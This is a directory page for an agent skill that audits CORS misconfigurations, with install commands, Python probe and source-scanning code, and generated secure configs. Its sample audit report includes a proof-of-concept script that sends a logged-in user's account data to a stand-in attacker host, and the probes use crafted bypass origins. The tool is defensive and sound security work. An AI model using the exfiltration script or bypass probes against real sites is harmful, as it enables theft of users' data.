Django Access Review
getsentry/skills
Django access control and IDOR security review. An agent skill from getsentry/skills.
CORS (Cross-Origin Resource Sharing) misconfiguration auditor.
$ npx skills add LeoYeAI/openclaw-master-skills --skill phy-cors-audit -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install LeoYeAI/openclaw-master-skills phy-cors-audit --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/LeoYeAI/openclaw-master-skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/phy-cors-audit .claude/skills/phy-cors-audit && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "phy-cors-audit" agent skill from https://github.com/LeoYeAI/openclaw-master-skills/tree/main/skills/phy-cors-audit into .claude/skills/phy-cors-audit/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "phy-cors-audit", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/LeoYeAI/openclaw-master-skills/tree/main/skills/phy-cors-auditType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add LeoYeAI/openclaw-master-skills --skill phy-cors-audit -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install LeoYeAI/openclaw-master-skills phy-cors-audit --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/LeoYeAI/openclaw-master-skills.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/phy-cors-audit .agents/skills/phy-cors-audit && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "phy-cors-audit" agent skill from https://github.com/LeoYeAI/openclaw-master-skills/tree/main/skills/phy-cors-audit into .agents/skills/phy-cors-audit/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "phy-cors-audit", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add LeoYeAI/openclaw-master-skills --skill phy-cors-audit -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install LeoYeAI/openclaw-master-skills phy-cors-audit --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/LeoYeAI/openclaw-master-skills.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/phy-cors-audit .cursor/skills/phy-cors-audit && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "phy-cors-audit" agent skill from https://github.com/LeoYeAI/openclaw-master-skills/tree/main/skills/phy-cors-audit into .cursor/skills/phy-cors-audit/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "phy-cors-audit", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/LeoYeAI/openclaw-master-skills.git --path skills/phy-cors-audit--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add LeoYeAI/openclaw-master-skills --skill phy-cors-audit -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install LeoYeAI/openclaw-master-skills phy-cors-audit --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/LeoYeAI/openclaw-master-skills.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/phy-cors-audit .gemini/skills/phy-cors-audit && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "phy-cors-audit" agent skill from https://github.com/LeoYeAI/openclaw-master-skills/tree/main/skills/phy-cors-audit into .gemini/skills/phy-cors-audit/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "phy-cors-audit", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install LeoYeAI/openclaw-master-skills phy-cors-auditInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add LeoYeAI/openclaw-master-skills --skill phy-cors-audit -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/LeoYeAI/openclaw-master-skills.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/phy-cors-audit .github/skills/phy-cors-audit && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "phy-cors-audit" agent skill from https://github.com/LeoYeAI/openclaw-master-skills/tree/main/skills/phy-cors-audit into .github/skills/phy-cors-audit/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "phy-cors-audit", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add LeoYeAI/openclaw-master-skills --skill phy-cors-audit -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install LeoYeAI/openclaw-master-skills phy-cors-audit --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/LeoYeAI/openclaw-master-skills.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/phy-cors-audit .opencode/skills/phy-cors-audit && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "phy-cors-audit" agent skill from https://github.com/LeoYeAI/openclaw-master-skills/tree/main/skills/phy-cors-audit into .opencode/skills/phy-cors-audit/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "phy-cors-audit", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
phy-cors-auditCORS (Cross-Origin Resource Sharing) misconfiguration auditor.
Phy Cors Audit is an agent skill from LeoYeAI/openclaw-master-skills. CORS (Cross-Origin Resource Sharing) misconfiguration auditor. Probes any API endpoint with crafted Origin headers to detect the most dangerous CORS vulnerabilities — reflecting arbitrary Origins (any attacker.com gets CORS approved), Access-Control-Allow-Credentials:true with wildcard ACAO, null-Origin allowed (iframe/file:// bypass), subdomain regex bypasses (evil.myapp.com passes), missing Vary:Origin (CDN cache poisoning), and permissive preflight responses. Also scans source code for insecure CORS middleware…
Its SKILL.md is about 6.7k tokens, which your agent loads only when the skill is triggered. The skill folder holds 1 other file (for example `_meta.json`).
It sits in Backend & APIs, covering Backend development, Authorization and RBAC and Web application vulnerabilities. It works with Django and FastAPI. The repository describes itself as: 🧠 Curated collection of 1209+ best OpenClaw skills — weekly updated by MyClaw.ai. The licence is Apache-2.0.
4 steps, taken from the step headings in SKILL.md.
Read from SKILL.md and the folder at commit e5199b5. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
curlFrom the folder's file list and the shell code blocks in SKILL.md.
Hosts in commands or code, which the agent is likely to contact:
completely-unrelated.comcanlah.aigithub.comclawhub.aiFrom URLs in SKILL.md, links to its own repository left out.
Names these keys or tokens, usually read from environment variables:
WILDCARD_WITH_CREDENTIALSCORS_ALLOW_CREDENTIALSFrom names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Phy Cors Audit loads about 6.7k tokens when it runs. Until then it costs about 211 tokens; SKILL.md has 330 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from LeoYeAI/openclaw-master-skills at commit e5199b5, republished under its Apache-2.0 licence (© LeoYeAI). 330 words, ~6,668 tokens.
.claude/skills/phy-cors-audit/SKILL.md (or your agent's skills folder). This skill also uses 1 other file; get the full folder from GitHub.Access to fetch at 'https://api.myapp.com' from origin 'https://evil.com' has been set with CORS policy: No 'Access-Control-Allow-Origin'
Then you add Access-Control-Allow-Origin: * and it works. Except now your API accepts requests from every site on the internet, with every user's credentials, if you forgot to check the credentials flag.
This skill probes your CORS configuration with crafted Origin headers, finds the misconfigurations that let attackers run authenticated cross-origin requests against your users, and generates the correct allow-list config for your stack.
Works against any live URL via curl. Scans Express/FastAPI/Go/Rails/Django source. Zero external API.
# Option 1: Probe a live API endpoint
/cors-audit https://api.myapp.com/users
# Option 2: Probe with specific origin
/cors-audit https://api.myapp.com --origin https://evil.com
# Option 3: Full probe battery (all known bypasses)
/cors-audit https://api.myapp.com --full
# Option 4: Scan source code for CORS misconfigurations
/cors-audit --scan src/
# Option 5: Generate correct CORS config for your stack
/cors-audit --generate express --allowed-origins https://myapp.com,https://staging.myapp.com
# Option 6: CI mode (exit 1 on critical findings)
/cors-audit https://api.myapp.com --ci
# Option 7: Audit multiple endpoints at once
/cors-audit --endpoints /api/users,/api/orders,/api/admin --base https://api.myapp.comimport subprocess
import re
from dataclasses import dataclass, field
from typing import Optional
from urllib.parse import urlparse
@dataclass
class CorsProbeResult:
probe_name: str
origin_sent: str
acao: Optional[str] # Access-Control-Allow-Origin
acac: Optional[str] # Access-Control-Allow-Credentials
acam: Optional[str] # Access-Control-Allow-Methods
acah: Optional[str] # Access-Control-Allow-Headers
vary: Optional[str] # Vary header
status_code: int
is_vulnerable: bool
severity: str
issue: str
fix: str
def probe_cors(url: str, origin: str, method: str = 'GET') -> dict:
"""Send a single CORS probe and return response headers."""
result = subprocess.run(
['curl', '-sI', '-X', method, url,
'-H', f'Origin: {origin}',
'-H', 'Content-Type: application/json',
'--max-time', '10',
'--user-agent', 'CorsAuditor/1.0'],
capture_output=True, text=True
)
headers = {}
status_code = 200
for line in result.stdout.splitlines():
if line.startswith('HTTP/'):
try:
status_code = int(line.split()[1])
except (IndexError, ValueError):
pass
elif ':' in line:
key, _, value = line.partition(':')
headers[key.strip().lower()] = value.strip()
return {'headers': headers, 'status_code': status_code, 'raw': result.stdout}
def run_cors_battery(url: str) -> list[CorsProbeResult]:
"""
Run the full battery of CORS probes against a URL.
Tests all known CORS misconfiguration patterns.
"""
parsed = urlparse(url)
base_domain = parsed.netloc # e.g. api.myapp.com
# Derive legitimate origin (for baseline)
legitimate_origin = f'{parsed.scheme}://{base_domain.replace("api.", "")}'
# Build the probe set
probes = [
{
'name': 'arbitrary_origin_evil',
'origin': 'https://evil.com',
'description': 'Random attacker origin',
},
{
'name': 'null_origin',
'origin': 'null',
'description': 'null origin (file://, sandboxed iframe)',
},
{
'name': 'subdomain_bypass',
'origin': f'https://evil.{base_domain}',
'description': f'Subdomain of target: evil.{base_domain}',
},
{
'name': 'prefix_bypass',
'origin': f'https://{base_domain}.evil.com',
'description': f'Domain that contains target as prefix: {base_domain}.evil.com',
},
{
'name': 'http_downgrade',
'origin': f'http://{base_domain}',
'description': f'HTTP version of same domain: http://{base_domain}',
},
{
'name': 'legitimate_origin',
'origin': legitimate_origin,
'description': f'Legitimate origin: {legitimate_origin}',
},
{
'name': 'wildcard_check',
'origin': 'https://completely-unrelated.com',
'description': 'Completely unrelated domain',
},
]
results = []
for probe in probes:
resp = probe_cors(url, probe['origin'])
headers = resp['headers']
acao = headers.get('access-control-allow-origin')
acac = headers.get('access-control-allow-credentials', '').lower()
vary = headers.get('vary', '')
# Analyze the response
is_vulnerable = False
severity = 'INFO'
issue = ''
fix = ''
if not acao:
# No CORS headers — either not configured or blocked
if probe['name'] == 'legitimate_origin':
issue = 'No CORS headers returned for legitimate origin'
severity = 'INFO'
else:
issue = 'Request blocked (no ACAO header) ✅'
severity = 'PASS'
elif acao == '*':
if acac == 'true':
# IMPOSSIBLE combination per spec, but some servers misconfigure this
is_vulnerable = True
severity = 'CRITICAL'
issue = 'Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true — browsers reject this, but some HTTP clients do not'
fix = 'Never use wildcard with credentials. Specify exact origins: Access-Control-Allow-Origin: https://myapp.com'
else:
if probe['name'] in ('arbitrary_origin_evil', 'wildcard_check'):
severity = 'HIGH'
is_vulnerable = True
issue = 'Wildcard ACAO (*) — any origin can make unauthenticated cross-origin requests'
fix = 'Replace * with an explicit allowlist. Wildcard is safe only for fully public, unauthenticated APIs.'
else:
severity = 'MEDIUM'
issue = 'Wildcard ACAO — acceptable only if API requires no authentication'
fix = 'Confirm this endpoint has no authentication. If it does, restrict ACAO to specific origins.'
elif acao == probe['origin']:
# Origin is reflected — check if this is intentional
if probe['name'] == 'legitimate_origin':
severity = 'PASS'
issue = f'Origin correctly reflected for legitimate origin ✅'
# Check for Vary: Origin
if 'origin' not in vary.lower():
severity = 'MEDIUM'
is_vulnerable = True
issue = 'ACAO reflects Origin but Vary: Origin missing — CDN/proxy may cache and serve wrong CORS response'
fix = 'Add Vary: Origin header whenever ACAO is dynamically set'
elif probe['name'] == 'null_origin':
is_vulnerable = True
severity = 'HIGH'
issue = 'null Origin is allowed — attackers can bypass CORS from sandboxed iframes or file:// pages'
fix = 'Remove null from your CORS allowlist. null origin is never legitimate from a web application.'
elif probe['name'] == 'arbitrary_origin_evil':
is_vulnerable = True
severity = 'CRITICAL'
issue = 'Server reflects ANY Origin in ACAO — any website can make cross-origin requests as your users'
fix = (
'Replace origin reflection with an explicit allowlist check:\n'
' const allowed = ["https://myapp.com", "https://staging.myapp.com"];\n'
' if (allowed.includes(req.headers.origin)) {\n'
' res.setHeader("Access-Control-Allow-Origin", req.headers.origin);\n'
' }'
)
elif probe['name'] == 'subdomain_bypass':
is_vulnerable = True
severity = 'HIGH'
issue = f'Subdomain "{probe["origin"]}" is allowed — regex/suffix match is too permissive'
fix = 'Use exact string comparison, not endsWith() or regex match. evil.myapp.com ≠ myapp.com.'
elif probe['name'] == 'prefix_bypass':
is_vulnerable = True
severity = 'HIGH'
issue = f'Prefix match allows "{probe["origin"]}" — regex startsWith match is too permissive'
fix = 'Do not use startsWith() for origin validation. Use an explicit exact-match allowlist.'
elif probe['name'] == 'http_downgrade':
is_vulnerable = True
severity = 'MEDIUM'
issue = f'HTTP version of your domain is allowed — enables MitM + CORS bypass'
fix = 'Only allow HTTPS origins. Remove http:// variants from your CORS allowlist.'
else:
# ACAO is a fixed value that doesn't match probe origin — correctly blocked
issue = f'Request correctly blocked (ACAO: {acao}) ✅'
severity = 'PASS'
results.append(CorsProbeResult(
probe_name=probe['name'],
origin_sent=probe['origin'],
acao=acao,
acac=headers.get('access-control-allow-credentials'),
acam=headers.get('access-control-allow-methods'),
acah=headers.get('access-control-allow-headers'),
vary=vary,
status_code=resp['status_code'],
is_vulnerable=is_vulnerable,
severity=severity,
issue=issue,
fix=fix,
))
return results
def probe_preflight(url: str, origin: str = 'https://evil.com') -> CorsProbeResult:
"""Test OPTIONS preflight response."""
resp = probe_cors(url, origin, method='OPTIONS')
headers = resp['headers']
acao = headers.get('access-control-allow-origin')
acam = headers.get('access-control-allow-methods', '')
acah = headers.get('access-control-allow-headers', '')
is_vulnerable = False
severity = 'INFO'
issue = ''
fix = ''
if acao == '*' or acao == origin:
if 'delete' in acam.lower() or 'put' in acam.lower() or 'patch' in acam.lower():
is_vulnerable = True
severity = 'HIGH'
issue = f'Preflight allows mutating methods ({acam}) from untrusted origins'
fix = 'Restrict Access-Control-Allow-Methods to only GET, POST for public origins. Require auth for write methods.'
if 'authorization' in acah.lower() and (acao == '*' or acao == 'https://evil.com'):
is_vulnerable = True
severity = 'HIGH'
issue = 'Preflight allows Authorization header from untrusted origin — credential forwarding enabled'
fix = 'Only allow Authorization header from your specific trusted origins.'
return CorsProbeResult(
probe_name='preflight',
origin_sent=origin,
acao=acao, acac=None, acam=acam, acah=acah, vary=headers.get('vary', ''),
status_code=resp['status_code'],
is_vulnerable=is_vulnerable, severity=severity, issue=issue, fix=fix,
)import re
import glob
from pathlib import Path
SKIP_DIRS = {'node_modules', '.git', 'dist', 'build', '__pycache__',
'.next', 'vendor', 'venv', '.venv'}
CODE_PATTERNS = [
# Express cors() with no options = allow all origins
{
'name': 'EXPRESS_CORS_NO_OPTIONS',
'pattern': re.compile(r'app\.use\s*\(\s*cors\s*\(\s*\)\s*\)', re.I),
'severity': 'HIGH',
'message': 'cors() with no options — allows ANY origin',
'fix': (
"app.use(cors({\n"
" origin: ['https://myapp.com', 'https://staging.myapp.com'],\n"
" credentials: true,\n"
"}));"
),
},
# origin: '*' with credentials
{
'name': 'WILDCARD_WITH_CREDENTIALS',
'pattern': re.compile(r"origin\s*:\s*['\"]?\*['\"]?", re.I),
'check': lambda line, ctx: 'credentials' in ctx and 'true' in ctx,
'severity': 'CRITICAL',
'message': "origin: '*' with credentials: true — insecure combination",
'fix': "Use explicit origin allowlist with credentials, never wildcard.",
},
# Reflecting req.headers.origin without allowlist check
{
'name': 'ORIGIN_REFLECTION',
'pattern': re.compile(
r'(?:Access-Control-Allow-Origin|ACAO)\s*[=:,]\s*req\.(?:headers?\.origin|get\([\'"]origin)',
re.I
),
'severity': 'CRITICAL',
'message': 'Directly reflecting req.headers.origin without allowlist check',
'fix': (
"const ALLOWED = new Set(['https://myapp.com']);\n"
"const origin = req.headers.origin;\n"
"if (ALLOWED.has(origin)) res.setHeader('Access-Control-Allow-Origin', origin);"
),
},
# Python: CORS_ORIGINS = "*" or origins="*"
{
'name': 'PYTHON_CORS_WILDCARD',
'pattern': re.compile(
r'(?:CORS_ORIGINS|allow_origins|origins)\s*[=:]\s*["\'\[]\s*["\']?\*["\']?',
re.I
),
'severity': 'HIGH',
'message': 'Python CORS wildcard origin — allows requests from any website',
'fix': "allow_origins=['https://myapp.com', 'https://staging.myapp.com']",
},
# Go: AllowAllOrigins: true
{
'name': 'GO_ALLOW_ALL_ORIGINS',
'pattern': re.compile(r'AllowAllOrigins\s*:\s*true', re.I),
'severity': 'HIGH',
'message': 'AllowAllOrigins: true in Go CORS config',
'fix': "Replace with AllowOrigins: []string{\"https://myapp.com\"}",
},
# Rails: origins '*'
{
'name': 'RAILS_CORS_WILDCARD',
'pattern': re.compile(r"origins\s+['\"]?\*['\"]?", re.I),
'severity': 'HIGH',
'message': "Rails cors: origins '*' — any domain allowed",
'fix': "origins 'https://myapp.com', 'https://staging.myapp.com'",
},
# Spring: @CrossOrigin without origins
{
'name': 'SPRING_CROSSORIGIN_ANY',
'pattern': re.compile(r'@CrossOrigin\s*(?!\s*\(origins)', re.I),
'severity': 'HIGH',
'message': '@CrossOrigin with no origins specified — defaults to all origins (*)',
'fix': '@CrossOrigin(origins = "https://myapp.com")',
},
# Django: CORS_ALLOW_ALL_ORIGINS = True
{
'name': 'DJANGO_CORS_ALL',
'pattern': re.compile(r'CORS_ALLOW_ALL_ORIGINS\s*=\s*True', re.I),
'severity': 'HIGH',
'message': 'Django CORS_ALLOW_ALL_ORIGINS = True — allows requests from any website',
'fix': (
"CORS_ALLOW_ALL_ORIGINS = False\n"
"CORS_ALLOWED_ORIGINS = ['https://myapp.com']"
),
},
# endsWith / includes check for origin (bypassable)
{
'name': 'CORS_ENDSWITH_CHECK',
'pattern': re.compile(
r'origin\s*(?:&&)?\s*origin\.(?:endsWith|includes|indexOf|match)',
re.I
),
'severity': 'HIGH',
'message': 'Origin check using endsWith/includes — bypassable with evil.myapp.com or myapp.com.evil.com',
'fix': (
"Use exact Set membership:\n"
" const ALLOWED = new Set(['https://myapp.com']);\n"
" if (ALLOWED.has(origin)) { // safe exact match }"
),
},
]
def scan_cors_code(src_dir: str = '.') -> list[dict]:
"""Scan source files for insecure CORS patterns."""
findings = []
for ext in ['.js', '.ts', '.jsx', '.tsx', '.py', '.go', '.java', '.rb']:
for fpath in glob.glob(f'{src_dir}/**/*{ext}', recursive=True):
if any(skip in fpath for skip in SKIP_DIRS):
continue
try:
content = Path(fpath).read_text(errors='replace')
lines = content.splitlines()
except Exception:
continue
for i, line in enumerate(lines, 1):
for p in CODE_PATTERNS:
if p['pattern'].search(line):
ctx_start = max(0, i - 3)
ctx_end = min(len(lines), i + 8)
context = '\n'.join(lines[ctx_start:ctx_end])
check_fn = p.get('check')
if check_fn and not check_fn(line, context):
continue
findings.append({
'file': fpath,
'line': i,
'code': line.strip()[:120],
'name': p['name'],
'severity': p['severity'],
'message': p['message'],
'fix': p['fix'],
})
return findingsdef generate_cors_config(
allowed_origins: list[str],
allow_credentials: bool = True,
allowed_methods: list[str] = None,
allowed_headers: list[str] = None,
stack: str = 'express',
) -> str:
"""Generate secure CORS configuration for the specified stack."""
methods = allowed_methods or ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS']
headers = allowed_headers or ['Content-Type', 'Authorization']
origins_list = ', '.join(f'"{o}"' for o in allowed_origins)
configs = {
'express': f'''// Express.js (npm install cors)
const cors = require('cors');
const ALLOWED_ORIGINS = new Set([{origins_list}]);
app.use(cors({{
origin: (origin, callback) => {{
// Allow requests with no origin (server-to-server, curl)
if (!origin || ALLOWED_ORIGINS.has(origin)) {{
callback(null, true);
}} else {{
callback(new Error(`Origin ${{origin}} not allowed by CORS`));
}}
}},
credentials: {str(allow_credentials).lower()},
methods: {methods},
allowedHeaders: {headers},
}}));
// Always respond to preflight
app.options('*', cors());''',
'fastapi': f'''# FastAPI (pip install fastapi)
from fastapi.middleware.cors import CORSMiddleware
ALLOWED_ORIGINS = [{", ".join(f'"{o}"' for o in allowed_origins)}]
app.add_middleware(
CORSMiddleware,
allow_origins=ALLOWED_ORIGINS,
allow_credentials={str(allow_credentials)},
allow_methods={methods},
allow_headers={headers},
)''',
'nginx': f'''# nginx — add to server block
map $http_origin $cors_origin {{
default "";
{chr(10).join(f' "{o}" "{o}";' for o in allowed_origins)}
}}
server {{
# ... your existing config ...
location /api/ {{
if ($cors_origin != "") {{
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials {str(allow_credentials).lower()} always;
add_header Access-Control-Allow-Methods "{", ".join(methods)}" always;
add_header Access-Control-Allow-Headers "{", ".join(headers)}" always;
add_header Vary Origin always;
}}
# Handle preflight
if ($request_method = OPTIONS) {{
add_header Access-Control-Max-Age 86400;
return 204;
}}
}}
}}''',
'go': f'''// Go (github.com/gin-contrib/cors or net/http)
import "github.com/gin-contrib/cors"
allowedOrigins := []string{{{", ".join(f'"{o}"' for o in allowed_origins)}}}
config := cors.Config{{
AllowOrigins: allowedOrigins,
AllowMethods: []string{{{", ".join(f'"{m}"' for m in methods)}}},
AllowHeaders: []string{{{", ".join(f'"{h}"' for h in headers)}}},
AllowCredentials: {str(allow_credentials).lower()},
ExposeHeaders: []string{{}},
MaxAge: 12 * time.Hour,
}}
router.Use(cors.New(config))''',
'django': f'''# Django (pip install django-cors-headers)
# settings.py
INSTALLED_APPS = [
...
"corsheaders",
]
MIDDLEWARE = [
"corsheaders.middleware.CorsMiddleware",
"django.middleware.common.CommonMiddleware",
...
]
CORS_ALLOW_ALL_ORIGINS = False
CORS_ALLOWED_ORIGINS = [{", ".join(f'"{o}"' for o in allowed_origins)}]
CORS_ALLOW_CREDENTIALS = {str(allow_credentials)}
CORS_ALLOW_METHODS = {methods}
CORS_ALLOW_HEADERS = {headers}''',
}
return configs.get(stack, configs['express'])## CORS Security Audit
Target: https://api.myapp.com | Probes: 7 | Source scan: src/
---
### Probe Results
| Probe | Origin Sent | ACAO Returned | Credentials | Verdict |
|-------|-------------|---------------|-------------|---------|
| Arbitrary evil | https://evil.com | `https://evil.com` | true | 🔴 CRITICAL |
| null origin | null | null | true | 🔴 HIGH |
| Subdomain bypass | https://evil.api.myapp.com | `https://evil.api.myapp.com` | true | 🔴 HIGH |
| Prefix bypass | https://api.myapp.com.evil.com | Not reflected | — | ✅ PASS |
| HTTP downgrade | http://api.myapp.com | `http://api.myapp.com` | true | 🟠 MEDIUM |
| Legitimate origin | https://myapp.com | `https://myapp.com` | true | ✅ PASS |
| Preflight OPTIONS | https://evil.com | `https://evil.com` | — | 🔴 HIGH |
---
### 🔴 CRITICAL — Origin Reflection (any attacker can impersonate users)
**Root cause in `src/middleware/cors.ts:8`:**
```ts
res.setHeader('Access-Control-Allow-Origin', req.headers.origin)
res.setHeader('Access-Control-Allow-Credentials', 'true')This reflects ANY origin — with credentials. An attacker on evil.com can load:
<script>
fetch('https://api.myapp.com/api/account', { credentials: 'include' })
.then(r => r.json())
.then(data => fetch('https://evil.com/steal?d=' + JSON.stringify(data)))
</script>A logged-in user who visits evil.com will have their account data sent to the attacker.
Fix:
const ALLOWED_ORIGINS = new Set(['https://myapp.com', 'https://staging.myapp.com']);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (origin && ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
next();
});Verified: curl -H "Origin: null" returns Access-Control-Allow-Origin: null
null is granted by browsers to:
<iframe sandbox> without allow-same-originfile:// pagesAn attacker can host a sandboxed iframe that makes authenticated requests to your API.
Fix: Never include null in your origin allowlist.
evil.api.myapp.com is allowed because your check uses origin.endsWith('.myapp.com').
An attacker can register evil.api.myapp.com (if the subdomain isn't protected by your DNS).
Fix: Replace with exact allowlist (see generated config below).
const ALLOWED_ORIGINS = new Set([
'https://myapp.com',
'https://staging.myapp.com',
]);
app.use(cors({
origin: (origin, callback) => {
if (!origin || ALLOWED_ORIGINS.has(origin)) {
callback(null, true);
} else {
callback(new Error(`Origin ${origin} not allowed by CORS`));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization'],
}));
app.options('*', cors()); // handle preflightAlso add Vary: Origin to prevent CDN caching the wrong ACAO response:
app.use((req, res, next) => {
res.setHeader('Vary', 'Origin');
next();
});Does the API serve public data with no authentication?
YES → Access-Control-Allow-Origin: * (safe, no credentials)
NO → Use explicit allowlist + credentials:true + Vary:Origin
Does any endpoint need cross-origin auth (cookies/Authorization)?
YES → Exact allowlist only. Never wildcard with credentials.
NO → Wildcard is acceptable for that endpoint
Are you using a CDN or reverse proxy?
YES → Add Vary: Origin header (prevents cached ACAO poisoning)
NO → Still add Vary: Origin (best practice)
---
## Quick Mode Output
CORS Audit: https://api.myapp.com
🔴 CRITICAL: Origin reflection (any origin gets CORS + credentials) 🔴 HIGH: null origin allowed (iframe sandbox bypass) 🔴 HIGH: Subdomain bypass (evil.api.myapp.com passes endsWith check) 🟠 MEDIUM: HTTP origin allowed (http://api.myapp.com) ✅ Prefix bypass blocked
Root cause: cors.ts:8 reflects req.headers.origin without allowlist check Fix: Replace with Set(['https://myapp.com']).has(origin) check Generated config: Express / nginx / FastAPI / Go / Django available
---
## Author
**[Canlah AI](https://canlah.ai)** — Run performance marketing without breaking your brand.
- GitHub: [github.com/PHY041](https://github.com/PHY041)
- All Skills: [clawhub.ai/PHY041](https://clawhub.ai/PHY041)© LeoYeAI, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
SKILL.md and 1 other file in skills/phy-cors-audit of LeoYeAI/openclaw-master-skills.
Open the folder on GitHubat commit e5199b5
Phy Cors Audit next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Phy Cors Audit this skillLeoYeAI/openclaw-master-skills | 2.2k | — | ~6.7k | Automated safety check: Pass | Apache-2.0 | |
| Django Access Reviewgetsentry/skills | 1k | 3 repos | ~2.6k | Automated safety check: Notes | Apache-2.0 | |
| Django Securityaffaan-m/ECC | 276k | 5 repos | ~4k | Automated safety check: Notes | MIT | |
| Django Securityaffaan-m/ECC | 276k | 1 repos | ~4.3k | Automated safety check: Notes | MIT | |
| Django Securityxu-xiang/everything-claude-code-zh | 2k | — | ~3.5k | Automated safety check: Notes | MIT | |
| Arch Wikiahmedemad3/arch-wiki | 250 | — | ~5.1k | Automated safety check: Pass | None |
getsentry/skills
Django access control and IDOR security review. An agent skill from getsentry/skills.
affaan-m/ECC
Django security best practices, authentication, authorization, CSRF protection, SQL injection prevention, XSS prevention, and secure deployment configurations.
affaan-m/ECC
Django security best practices, authentication, authorization, CSRF protection, SQL injection prevention, XSS prevention, and secure deployment configurations.
xu-xiang/everything-claude-code-zh
Django 安全最佳实践、身份验证(Authentication)、授权(Authorization)、CSRF 防护、SQL 注入防御、XSS 防御以及安全部署配置。
ahmedemad3/arch-wiki
Scans any project codebase for new/changed modules, endpoints, middleware, infrastructure, Docker topologies, SQL queries, or permissions and updates docs/architecture/architecture.json.
agentfront/frontmcp
A skill your agent uses when customizing, branding, or replacing the built-in FrontMCP OAuth pages (the login, consent, federated-select, incremental-authorization, and error pages) with your own…
LeoYeAI/openclaw-master-skills
Manages pipelines on a DevOps quality and efficiency platform through its OpenAPI: list workspaces and templates, create, update, run and cancel pipelines, and read run records.
LeoYeAI/openclaw-master-skills
